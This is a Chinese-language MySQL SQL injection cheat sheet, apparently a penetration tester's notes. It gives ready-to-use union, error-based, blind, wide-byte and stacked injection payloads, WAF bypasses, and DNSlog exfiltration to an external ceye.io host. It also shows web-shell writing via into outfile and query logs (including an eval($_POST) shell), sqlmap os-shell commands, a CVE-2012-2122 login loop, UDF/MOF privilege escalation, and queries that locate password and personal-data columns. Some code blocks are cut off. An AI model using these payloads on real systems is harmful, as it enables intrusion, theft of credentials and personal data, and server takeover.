SQL注入技术总结-MySql
相关函数:
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL 数据库版本
load_file() MYSQL 读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统
多条数据显示函数:
concat()
group_concat()
concat_ws()
手工注入测试流程
id=1id=1’–+
测试注入点
1 order by 2#
?id=2 union select 1,2,3 –+
1 union select 1,database()#
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()# 从所有的表里边找到这个库名里不重复的表名
1 union select1, group_concat(column_name) from information_schema.columns where table_name=’表名’ # 从所有的列名里边找到这个表名里不重复的列名
user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
常规注入
(Select schema _name from information_schema.schemata limit 0,1)
?id=-1’union select 1,2,(select group_concat(username,0x7e,password) from security.users) –+
?id=’ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) –+
?id=-1’ union select 1,2, (select group_concat(column_name) from information_schema.columns where table_name=’referers’ ) –+
如果不能一次爆完全部,就使用 limit,其中第一个数字 0 代表第一个表、列;1 就是第二个
(select table_name from information_schema.tables where table_schema=database() limit 0,1)
报错语句
Group by concat floor,(这个语句不适合爆密码),floor()函数会影响 md5 值
and (select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2)))–+
extractvalue
and extractvalue(1,concat(0x7e,(select user()),0x7e))–+
updatexml 常用
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)–+
复杂语句报错注入 偶尔能用上
1 | and (select 1 from (select count(*),concat('~',(select table_name from information_schema.tables where table_schema='hebjy1028' limit 0,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a)b)# |
延时注入
思路是一样的(判断是否注入点 → 判断字符长度 → 内容逐个逐个爆破)
可以用 python 自动化脚本运行
1 | import requests |
也可以用 burp 去爆破
判断长度
/?id=1’and if(length(database())=8,sleep(10),1)–+
再判断字符(ascii 判断)
?id=1” and if(ascii(substr(database(),1,1))>115,1,sleep(3))–+
(left 语句判断)
?id=1’ and if(left(database(),1)=’s’,sleep(10),1) –+
?id=1’ and if(left(database(),2)=’sa’,sleep(10),1) –+
Substring 函数判断
type=if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1=’a’),11111,sleep(1))–+
布尔注入
Left 判断
?id=1’ and left(database(),1)=’s’ –+
?id=1’ and left(database(),2) > ‘sa’ –+
Like 语句判断
?id=1’ and (select table_name from information_schema.tables where table_schema=database() limit 0,1)like ‘e%’–+
Ascii 语句判断
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115–+
宽字节注入
前提 1 使用了 addslashes()函数
2 数据库设置了编码模式为 GBK
原理:前端输入 %df 时,首先经过 addslashes()转义变成 %df%5c%27,之后,在数据库查询前,因为设置了 GBK 编码,GBK 编码在汉字编码范围内的两个字节都会重新编码成一个汉字。然后 mysql 服务器会对查询的语句进行 GBK 编码,%df%5c 编码成了“运“,而单引号逃逸了出来,形成了注入漏洞
%df’ and 1=2 –+
搜索框注入
实战经常碰到过
Sql 数据库语句:SELECT*from sqltest where names like ‘% 要查询的关键字 %’
可构造 payload 欧锋 %’ and 1=1 and ‘%1’=’%1
欧锋 %’ and 1=2 –+
欧锋 %’ and 1=1 and ‘%
堆叠注入
id=1;insert into users(id,username,password) values(‘100’,’new’,’new’);
DNSlog
1 | ?id=1' and if((select load_file(concat('\\\\',(select database()),'.hq87c4.ceye.io\\abc'))),1,0)--+ |
Mysql 注入 bypass
常规
1 | 1./**/代替空格 例如:union/**/select |
分块传输
原理:Chunk 分块传输方法是一种有效的绕过 WAF 的 Web 攻击手段。其原理是利用 Transfer-Encoding: chunked 这个 HTTP 请求头,当 HTTP 请求中含有这个请求头时,则传输的数据全部可进行分块编码
GetShell
into oufile 写 shell
知道网站物理路径
高权限数据库用户(root)
secure_file_priv 无限制
网站路径有写入权限
查询是否 secure_file_priv 没有限制
1 | mysql> show global variables like '%secure_file_priv%'; |
1 | select @@secure_file_priv |
Value | 说明 |
---|---|
NULL | 不允许导入或导出 |
/tmp | 只允许在 /tmp 目录导入导出 |
空 | 不限制目录 |
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
写shell
1 | select '<?php phpinfo(); ?>' into outfile '/var/www/html/1.php'; |
1 | select 1 into outfile 'F:/7788/evil.php' lines terminated by 0x3C3F70687020406576616C28245F504F53545B2767275D293B3F3E0D0A; |
sqlmap写shell
1 | sqlmap -u "http://baidu.com/?id=x" --file-write="D:\note\PentestDB\shell.php" --file-dest="/var/www/html/test/shell.php" |
sqlmap获取os-shell
1 | sqlmap -u "http://x.x.x.x/?id=x" --os-shell |
tips:除了outfile还有一个dumpfile 可以用来导出文件,dumpfile用来导出二进制文件(outfile会在行尾加\n)。
读文件
受secure_file_priv影响
1 | CREATE TABLE test(FIELDS VARCHAR(1000)) |
日志写shell
知道网站物理路径
高权限数据库用户(root)
网站路径有写入权限
1 | mysql> SHOW VARIABLES LIKE '%general%'; |
1 | select @@general_log |
1 | #开启日志记录 |
慢日志写shell
知道网站物理路径
高权限数据库用户(root)
网站路径有写入权限
1 | mysql> SHOW VARIABLES LIKE '%slow_query_log%'; |
1 | #开启日志记录 |
Vuln
yaSSL 缓冲区溢出
Linux : MySQL 5.0.45-Debian_1ubuntu3.1-log
Windows : MySQL 5.0.45-community-nt
1 | msf6 > use exploit/windows/mysql/mysql_yassl_hello |
authbypass身份认证绕过
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
CVE-2012-2122
知道用户名多次输入错误的密码会有几率可以直接成功登陆进数据库,可以循环 1000 次登陆数据库:
1 | for i in `seq 1 1000`; do mysql -uroot -pwrong -h 127.0.0.1 -P3306 ; done |
msf dump hash
1 | msf6 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump |
提权
UDF提权
udf动态链接库文件获取
1 | sqlmap/data/udf/mysql |
sqlmap的库需要用自带的解码工具/extra/cloak/cloak.py 来解码
1 | # 查看当前目录情况 |
msf的可以直接使用
1 | MSF 根目录/embedded/framework/data/exploits/mysql |
tips:可用ida查看有哪些函数
该udf.dll导出的路径因MySQL版本不同而不同:
如果
MySQL<5.1
,udf.dll动态链接文件需要导出的路径为:
Windows2003:c:\windows\system32
Windows2000:c:\winnt\system32。如果
MySQL>=5.1
,必须要把udf.dll动态链接文件导出到MySQL的安装目录\lib\plugin目录
获取plugin路径
1 | mysql> show variables like '%plugin%'; |
1 | select @@plugin_dir |
获取mysql版本,确定 udf位数
1 | show variables like "%version%"; |
tips:windows系统如果目录不存在可以尝试使用NTFS流创建:
1 | select 'x' into dumpfile 'D:/phpstudy_pro/Extensions/MySQL5.7.26/lib::$INDEX_ALLOCATION'; |
1 | # 获取so十六进制 |
创建表写入
1 | create table my_udf_data(data LONGBLOB); |
创建函数执行命令
1 | CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; |
mof提权
MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。
准备好mof文件,然后udf老套路导出即可
1 | pace("\.rootsubscription") |
Other
1 | select load_file('/var/lib/mysql-files/key.txt'); #Read file |
利用恶意mysql服务,读客户端文件
https://github.com/allyshka/Rogue-MySql-Server
注意某些lnmp的探针
可用的udf hex
https://www.sqlsec.com/tools/udf.html
xx库中所有字段名带 pass|pwd 的表
1 | select distinct table_name from information_schema.columns where table_schema="xx" and column_name like "%pass%" or column_name like "%pwd%" |
sqlmap 参数–-search也可以
xx 库中所有字段名带个人信息的表
1 | select distinct table_name from information_schema.columns where table_schema="xx" and column_name regexp "name|phone|mobile|certificate|number|email|addr|card|电话|地址|身份证|姓名" |
配合phpMyAdmin
phpMyAdmin4.8.1文件包含
包含mysql数据文件
通过写文件到tmp目录下,进行包含(tmp/2.php)
phpMyAdmin找绝对路径
- 全局变量里面搜索log,通过路径推测。
- 通过日志文件路径、mysqldata文件路径、安装路径推测
- 判断中间件类型猜测
相关路径查询
1 | show variables like '%plugin%' |
写到tmp目录下进行包含
1 | select '<?php eval($_POST[1])?>' into outfile '/tmp/2.php'; |